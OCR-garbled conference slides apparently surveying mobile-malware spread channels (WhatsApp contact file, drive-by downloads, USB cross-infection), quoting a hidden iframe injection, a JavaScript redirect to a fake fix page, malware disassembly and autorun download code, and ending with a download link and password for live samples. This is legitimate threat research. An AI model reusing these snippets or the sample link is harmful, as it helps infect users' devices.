obHoBnenne BkoHTakTe!", "icon"=>"@android:drawable/stat notify sync",
"url"=>"http://anl 2

The blurred URL in this string of code—sampled from BadNews—Ilinks to a landing page promoting malware.

https://www.lookout.com/resources/reports/dragon-lady

https://blog.lookout.com/blog/2013/04/19/the-bearer-of-badnews-malware-google-play/
N 00



10. Spreads by Instant Message - Whatsapp
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Priyanka

=A virus named “Priyanka” is spreading
on Whatsapp through a contacts file that
if you add to your contacts will change the
name of all the groups you have on your
Whatsapp to “Privanka” , and in the
worst case, it may also replace all your
contacts name to  ‘Privanka’ as well.

8 0 23
xie 0 |ael @D [ > |

((©) View contact

Priyanka

Call Mobile

Add to contacts

© =

Priyanka

Priyanka

Priyanka

Priyanka

Priyanka




11. Spreads by Drive-by Download
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NotCompatible. A

=Serve as a simple TCP proxy while posing
as a system update, potentially be used to
gain illicit access to private networks by
turning an infected Android device into a
proxy.

=First time that compromised websites have
been used to distribute malware targeting
Android devices.

=One year later, it spreads primarily via
spam from hacked email accounts.

———— Original message

From: < @yahoo.com>

Date: 03/11/2013 8:04 AM (GMT-06:00)

To: < > < @aol.com>

< @aol.com>, < @aol.com>, <

Subject: hot news

http:/www.

sporthotel.de; /adgxrdybtan/wnfatidvivkhp

*Email Spam Campaign

@aol.com>

Infected websites commonly have the following code inserted into the
bottom of each page:

<iframe style="visibility: hidden; display: none; display: none;”
src="hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-BEEF-
133713371337}”></iframe>

When Android browser accesses the page, the following is returned:
<html><head></head><body><script type="text/javascript”>
window.top.location.href = “hxxp://androidonlinefix.info/fix1.php”;
</script></body></html> *Compromised websites

[ U0 wdm216 i
_ —EE com.Security.Update

securityupdate.su/i. C ) - [0 Config

- CustomSocket
J'rm MixerSocket
J'rm MuxPacket

J'rm MyBuffer

-] MyList

i [1) NIOServer

i1 OnBootReceiver
SR

-0 SecurityUpdateService
+m ThreadServer
+m item

Gl proxyConnect

This type of file can harm your mobile device.
Do you want to keep security.update.apk
anyway?

Cancel Ok




12. Spreads by USB — Windows Infect Android
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Droidpak. A@Windows mFakeBank.B@Android

=Download ADB (Android Debug Bridge) tools and =Steal Korean online banking account.
AV-cdk.apk (Trojan!FakeBank.B@Android) =Guises as Google Play store, looks for certain
= |nstall AV-cdk.apk to USB connected Android Korean online banking applications on the
device. compromised device and, if found, prompts users
=USB debugging Mode must be enabled on Android to delete them and install malicious versions. It
device. also intercepts SMS messages on the o
lea  edx, [esp+314h+String1] compromised device. oy
push offset aAdb exe ; "adb.exe" /
push edx ; lpString1
call esi ; 1strcatn Google App
lea eax, [esp+314h+String2] *http://www.symantec.com/connect/blogs/windows-malware-attempts-infect-android-devices
push offset afuCdk_apk ; “AV-cdk.apk™ Store
push eax ; lpString1
call eci ; 1strcatn
lea ecx, [esp+314h+5tring2]
lea edx, [esp+314h+5tring1] c ga
push ecx VA new 3rringBuilder (Scy
I]|_|5|'| ed= ev StringBulldey (STring
lea eax, [esp+31Ch+0utputsString] > 2
push offset asSInstalls :; "%s install %s™
push eax : LPSTR
call usprintfn
lea ecx, [esp+324h+0utputString]
push ecx ; lpOutputsString
call debug_string
lea edx, [esp+328h+0utputsString]
push edx
call execute ;fadb.exe install aV-cdk.apk
add esp, 18h



Spreads by USB — Android Infect Windows Baid®&E
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Claco. A@Android Ssucl. A@Windows

=Steal text messages, contacts, pictures, all SD Card files. = Auto record sound around the PC infected and
=Download 3 files: autorun.inf, folder.ico, svchosts.exe upload to remote server. = - senoss

= W% swvchosts.exe

3] References

{} -

{} ICSharpCede.SharpZiplib

{} ICSharpCode SharpZipLib.Checksums
{} ICSharpCodeSharpZipLib.Core

{} ICSharpCode SharpZipLib.Encrypticn
{} ICSharpCode SharpZiplib. Zip
=svchosts.exe is Backdoor.MSIL.Ssucl.a ) ICSharpCode SharpZiplib Zip Compression
{} ICSharpCode SharpZiplib.Zip.Compression.Streams
PAaygooghe.com Mt Gl il {} NAudio

Kagn, e | » Nows  Euyd 1 {} MNAudio.Codecs

[ 'S G de plan boolean bool20 = strl.tolowerCase () .equals ("usbh_autorun_attack™); {} MNAaudio.Corefudiohpi

Vg :QU\‘\ ¢ piay ‘ if {bool2o) {} MNAudio.Corefudichpilnterfaces
MATATM [ i=a0: {} NAudio.Dmo

{} NAudio.Dsp

{} NAudio.FileFormats.Map

{} MAudio.FileFormats.Mp3

{} NAudio.Gui

{} Naudio.Gui.TrackView

{} NAudio.Midi

{} Naudio.Mixer

{} NAudio.5fz

{} Naudio.SoundFont

{} NAudio.Utils

{} NAudio.Wave

{} NAudio.Wave.Asio

{} NAudio.Wave.Compression

{} MNAudio.Wave.SampleProviders

{} NAudio.WaveWaveFormats

{} VoiceRecorder.Audio

{} )(Cunirnl

{} XControl.Properties

1 Resources

=Place them in the root directory of the SD card, hoping
to auto execute svchosts.exe when the smartphone is
connected to the PC in the USB drive emulation mode.

HEEHEHBEBHBR

EH B

EH B

B B

try
{
DroidCleaner ~ - ; while (true)
Smant Agps

1
while (true)
{

koolean boolld = Tools.UsbAubtoRunAttack (Connectordervice.this);
i = bEElES.’ .|

B ®

punlic static boolean UshAntoRumAbtack {ConText paramCosCENT)
[
Ery
DovploadF lsjorlSarver + "app decafsutorun. inf™,; “socoran.inf™, “"fopopper™, “"cthisisshicd0?™, pars
DovnloadFil ver + Tapp_datasZol =y “folder.ice”, TItpupper®, Tthisisshit00T™, parasic
= - .

PovaloadFslaiurlfarver + "app daca/archaits. ame™, “Frehiats.

HEEHEHEHEBHEBEBHBEE

returm 1

EH B




Summary
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Spread Ways Distribution

=Variants of each country/region.

=Hard to calculate, attempt to estimate it
in China.

=Third-Party App Store, as well as forum,
is the largest channel for mobile
malware distribution.

=Femtocell channel increases rapidly.

USB is the most dangerous way

=\Windows and Android can infect each other,

=Android malware can take advantage of
Windows platform and Windows virus spread
techniques to circumvent Android security
restrictions.

=Android malware may breakout here...

M Third-Party App Store
M Drive-by Download
M Third-Party ROMs

H QR Code

M Social Networks

M Femtocell

M Text Message

M Instant Message

id Bluetooth

M Official App Store

i USB

i Mobile Ad Networks



The End
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Thank You!

Thomas Lel Wang

Email:ThomasLWang@gmail.com

Twitter:ThomasLWang

Get all samples mentioned in this talk:

Download link : http://pan.baidu.com/s/1cO6E7T2
Unzip Password : HIP2014Thomas




